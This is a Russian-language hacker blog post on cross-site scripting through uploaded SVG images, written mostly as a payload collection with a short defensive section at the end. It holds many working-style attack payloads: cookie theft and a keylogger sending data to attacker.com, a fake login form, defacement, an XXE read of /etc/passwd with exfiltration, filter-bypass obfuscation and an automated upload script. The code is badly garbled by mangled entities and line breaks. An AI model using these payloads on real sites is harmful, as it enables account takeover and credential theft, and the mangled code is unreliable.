🕷️ XSS через SVG: когда картинка стреляет JS’ом
Привет, хакеры! Думаешь, загружая картинку на сайт, пользователь безопасен? ХА! Сегодня расскажу про мой любимый вектор атаки — XSS через SVG. Это когда безобидный “image.svg” превращается в троянского коня с JavaScript’ом на борту. 💣
Админы блокируют `<script>` теги? Плевать. WAF фильтрует HTML? Обойдём. Загрузка только картинок? ИДЕАЛЬНО! 😈
🔍 Почему SVG — это золотая жила для XSS?
SVG (Scalable Vector Graphics) — это не просто картинка. Это XML-документ, который может содержать:
• JavaScript код
• Event handlers (onclick, onload, onerror)
• Внешние ресурсы
• Встроенные скрипты
Проблема: Большинство разработчиков проверяют расширение файла (`.svg`) и думают “это же картинка, чё может пойти не так?”
Ответ: ВСЁ МОЖЕТ ПОЙТИ НЕ ТАК! 🔥
💉 Базовый payload: XSS в чистом виде
Простейший вариант:
<?xml version="1.0" standalone
="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/
Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" basePro
file="full" xmlns="http://www.w3.org/2000/svg"&g
t; <rect width="300" heig
ht="100" style="
;fill:rgb(0,0,255)
;"/> <script type="text/javascript"> alert("XSS через SVG!"); </script></svg>
Сохраняем как `payload.svg`, загружаем на сайт → БИНГО! Если сайт рендерит SVG напрямую или показывает через `<img>`, скрипт может выполниться.
🎯 Payload #1: Обход через event handlers
WAF блокирует тег `<script>`? Используй события!
<svg xmlns="http://www.w3.org/2000/svg
"> <circle cx="50" cy="50" r="40" fill=&q
uot;red" onload="alert(document.cookie)"/></svg>
Альтернативы с другими событиями:
<!-- onload - самый популярный -->
<svg onload="alert('
XSS')"><!-- onerror - если что-то
пойдёт не так --><svg><image href="x" onerror=&
quot;alert('XSS')"/></svg><!--
onmouseover - требует действия пользователя --><svg><rect width="100&qu
ot; height="100" onmouseover=&
quot;alert('XSS')"/></svg><!-- onclick - клик на элемент --><
;svg><text x="10" y=&quo
t;20" onclick="alert('XSS')">Click me</text></svg><!-- onfocus - при фокусировке --><svg><a xlink:href="javascript:alert('XSS')"><text x="10" y="20">Link</text></a></svg>
Почему это работает: Браузер парсит SVG как XML и выполняет JavaScript из event handlers. Большинство WAF’ов не проверяют атрибуты событий в SVG.
🎯 Payload #2: Embedded JavaScript через CDATA
Хочешь спрятать код от простых парсеров? CDATA в помощь!
<svg xmlns="http://www.w3.org/2000/svg
"> <script type="text/
javascript"
> <![CDATA[ alert('Код внутри CDA
TA не парсится как XML'); // Можем писать любой JS без
экранирования < > & document.location = 'http://attac
ker.com?co
okie=' + doc
ument.cookie; ]]> </script></svg>
Фишка: CDATA позволяет вставлять символы `<`, `>`, `&` без экранирования. Идеально для обфускации!
🎯 Payload #3: External script через xlink
Хочешь загрузить внешний скрипт? SVG позволяет!
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/
1999/xlink"> <script xlink:href="https://a
ttacker.com/evil.js"/></svg>
Или через image с подменой:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/
1999/xlink"> <image xlink:href="https://attacker.com/payload.svg&quo
t; onerror="alert('XSS')"/></svg>
Почему опасно: Ты можешь хостить вредоносный код на своём сервере и обновлять его в любой момент. Жертва будет грузить актуальную версию эксплойта!
🎯 Payload #4: Обфусцированный payload
Админы научились искать `alert`? Обфусцируем!
<svg xmlns="http://www.w3.org/2000/svg
"> <
script> // Через String.fr
omCharCode eval(String.fromCharCode(97,108,101,114,116,4
0,49
,41)); // Через Unic
ode escape eval('\u0061\u006c\u0065\u0072\u0074\u0028
\u00
31\u0029');
// Через base64 eval(at
ob(&
#039;YWxlcnQoMSk=')
); // Через constructor [].construc
tor.constructor(&
#039;alert(1)')(); </script></svg>
Продвинутая обфускация:
<svg onload="self['al'+'ert'](document['cook'+'ie'])">
Лайфхак: Комбинируй методы для максимального обхода фильтров!
🎯 Payload #5: Polyglot SVG (работает как HTML и SVG)
Универсальный боеприпас:
<svg/onload=alert('XSS&
#039;)><svg><script>alert(1)</
script><!-- HTML entities в SVG тоже работа
ют! --><svg><script>alert('XSS')</script>&l
t;/svg><!-- Combo: работает и в HTML, и в SVG контек
сте -->"><svg/onload=alert(document.domain)>💣 Реальные атаки через SVG XSS
Атака #1: Cookie stealing
<svg xmlns="http://www.w3.org/2000/svg
"> <
script> // Отправляем cookie на т
вой сервер fetch('https://attacker.com/steal?c='
+ d
ocument.cookie);
// Или через Image new Image().src = 'https://attacker.com/log?cookie=&
#039; + btoa(docu
ment.cookie); </script></svg>
Результат: Получаешь session token жертвы → захватываешь аккаунт.
Атака #2: Keylogger в SVG
<svg xmlns="http://www.w3.org/2000/svg
"> <
script> &l
t;![CDATA[ document.onkeypress = fun
ction(e) { fetch('https://attacker.com/keys?
key=&#
039; + e
.key); }; ]]&
gt; </script></svg>
Применение: Если SVG загружается на страницу с формой логина → логируешь пароли пользователей! 💀
Атака #3: Phishing через SVG
<svg xmlns="http://www.w3.org/2000/svg" width="500&qu
ot; height="300"> <foreignObject
width="100%" height="100%"> <div xmlns="http://www.w3.or
g/1999/xhtml" style="background:
#fff;padding:20px;"> <h2>Session Expired</h2&g
t; <form action="https://attacker.com/phish" method=&qu
ot;POST"> <input type="text" name="username&
quot; placeholder="Username"/> <inpu
t type="passwo
rd" name=&q
uot;password" place
holder="Password"/> <button type="submit">Re-login</button> </form> </div> </foreignObject></svg>
Фишка: `foreignObject` позволяет встраивать полноценный HTML в SVG! Можешь создать фальшивую форму логина прямо в картинке.
Атака #4: Defacement (изменение страницы)
<svg xmlns="http://www.w3.org/2000/svg
"> <
script> document.body.innerHTML = '<h1>HACKED BY TIMCORE</h1><img src="https://attacker.c
om/skull.gif"
;/>'; </script></svg>
Применение: Загружаешь на форум/комментарии → все посетители видят твой месседж.
🛡️ Обход защиты: как пройти валидацию
Проблема #1: Проверка MIME-type
# Плохая валидация
if file.content_type == 'image/svg+
xml': # Пропускает SVG с JS!
Обход: Любой SVG с вредоносным кодом пройдёт эту проверку.
Проблема #2: Проверка только расширения
// Плохая валидация
$ext = pathinfo($_FILES['file']['name'],
PATHINFO_EXTENSION);
if ($ext == 'svg')
{ move_uploaded_file(...);}
Обход: Переименуй `payload.js` в `payload.svg` и вперёд!
Проблема #3: Regex фильтры для `<script>`
// Плохая валидация
if (content.match(/<script>/i)) {
reject();
}
Обход через вариации:
<script >alert(1)</script>
<script/>alert(1)</script>
<script
>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt>
<!-- Или вообще без script через onload -->
<svg onload=alert(1)>
🔥 Продвинутые техники
Техника #1: SVG + XXE combo
<?xml version="1.0" standalone=
"yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file
:///etc/passwd"> ]><svg xmlns=&q
uot;http://www.w3.org/2000/svg"> <text
x="10"
; y="20">&xxe;</text> <scr
ipt> // Теперь можем украсть содержимое файла через JS fetch(&#
039;https://attac
ker.com?data=' + btoa(document.body.innerText)); </script></svg>
Результат: XSS + XXE = чтение файлов сервера + exfiltration данных!
Техника #2: Animated SVG для timing attacks
<svg xmlns="http://www.w3.org/2000/svg
"> <animate attributeName=
"opacity" va
lues="1;0" dur="2s" o
nend="alert('XSS after 2 seconds')"/></svg>
Применение: Delayed execution для обхода sandbox’ов или автоматических сканеров.
Техника #3: SVG DOMXSS через parameters
Если приложение вставляет параметры в SVG:
<!-- Уязвимый код: параметр username вставляется напрямую -->
<svg xmlns="http://www.w3.org/2000/svg
"> <text x="10" y="20">
Hello, {user
name}</text></svg><
!-- Payload в username: --></text><script>alert(1)</script><text x="0" y="0">
Результат: DOM XSS через SVG injection!
🛠️ Инструменты для тестирования
# SVG XSS Fuzzer
python3 svg-xss-fuzzer.py -u http://target.com/upload
# Генератор payload
39;ов# Создай файл payloads.txt с вариа
циямиcat > payloads.txt <<
; EOF<svg onload=alert(1
)><svg><script>alert(1)</script></sv
g><svg><image href=x onerror=alert(1)
/&g
t;EOF# Burp Suite Intruder для брутфорса вар
иаций# Используй position markers в SVG файле
Автоматизация проверки:
import requests
payloads = [
'<svg onload=alert(1)&
gt;', '<svg><script>alert(1)</script>
;</svg>', '<svg><image href
=
x onerror=alert(1)/>&
#039;]for payload in payloads: wi
th open('test.svg&#
039;
, 'w') as f: f.write(payloa
d) files = {'file': open('test.svg'
, &#
039;rb')} r = requests.post(9
;http://target.com/upload', files=files) if 'Successfully uploaded' in r.text: print(f"[+] Payload uploaded: {payload}")
🎯 Где искать SVG XSS в 2025?
Горячие точки:
✅ Аватары пользователей — загрузка профильных картинок
✅ Документы/attachments — файловые хранилища
✅ Логотипы компаний — B2B платформы
✅ Email attachments — webmail приложения
✅ CMS upload — WordPress, Drupal и т.д.
✅ QR-коды в SVG — генераторы QR
✅ Charts/graphs — аналитические дашборды
✅ Иконки — системы дизайна
🔐 Защита для админов (если ты на светлой стороне)
Правильная валидация SVG:
import xml.etree.ElementTree as ET
def is_safe_svg(file_content):
try:
# Парсим SVG
root = ET.fromstring(file_content)
# Запрещённые элементы и атрибуты
forbidden_elements = ['script', 'iframe'
, 'object', 'embed'] forbidden_attrs = ['
onload&#
039;, 'onerror',
39;onclick', 'onmouseo
ver'] #
Рекурсивная проверка for elem in root.iter():
# Проверяем тег
if elem.t
ag.split('}')[-1] in f
orbidden_elements: re
turn False # Проверя
ем атрибуты for attr
in elem.attrib: if attr in forbidden
_attrs: return False # Прове
ряем javascript: в значениях
if 'javasc
ript:'
in elem.attrib[attr].lower(): return False return True except: return False
Ещё лучше — sanitize через библиотеку:
# Python: используй dompurify-python или bleach
from lxml.html.clean import Cleaner
cleaner = Cleaner(
scripts=True,
javascript=True,
embedded=True,
safe_attrs_only=True
)
sanitized = cleaner.clean_html(svg_content)
Или конвертируй SVG в растровый формат:
# ImageMagick (но будь осторожен с его уязвимостями!)
convert input.svg output.png
# Или используй headless browser
Best practice:
✅ Sanitize SVG на сервере перед сохранением
✅ Устанавливай `Content-Type: image/svg+xml` только для проверенных файлов
✅ Используй `Content-Security-Policy` для блокировки inline scripts
✅ Храни загруженные файлы на отдельном домене (без cookies)
✅ Рендери SVG через `<object>` или `<iframe sandbox>` для изоляции
🎓 Мораль истории
SVG — это не картинка. Это полноценный XML-документ с JavaScript’ом.
Пока разработчики думают “это же image/svg, что может пойти не так”, мы зарабатываем bounty. 💰
Ключевые моменты:
• SVG может содержать JS через `<script>`, event handlers, external resources
• Большинство фильтров проверяют только расширение или MIME-type
• SVG XSS часто Stored → больше жертв, больше impact, больше $$$
• Комбинируй с XXE, SSRF, и другими атаками для chain’ов
🚀 Домашка для хакеров
1. Найди сайт с загрузкой SVG (bug bounty scope!)
2. Попробуй все 5 payload’ов из поста
3. Если заблокировали — обфусцируй через base64/unicode
4. Найди свой первый SVG XSS
Удачной охоты, пусть ваши SVG всегда стреляют! 🕷️💣
P.S. Если админ говорит “мы блокируем загрузку SVG” — спроси, блокируют ли они `image/svg+xml` в других местах (email, API, rich text editors). Часто находишь забытые векторы. 😏
P.P.S. SVG XSS + самоподписывающийся сертификат на твоём домене = cookie stealing даже через HTTPS. Stay creative! 🔥
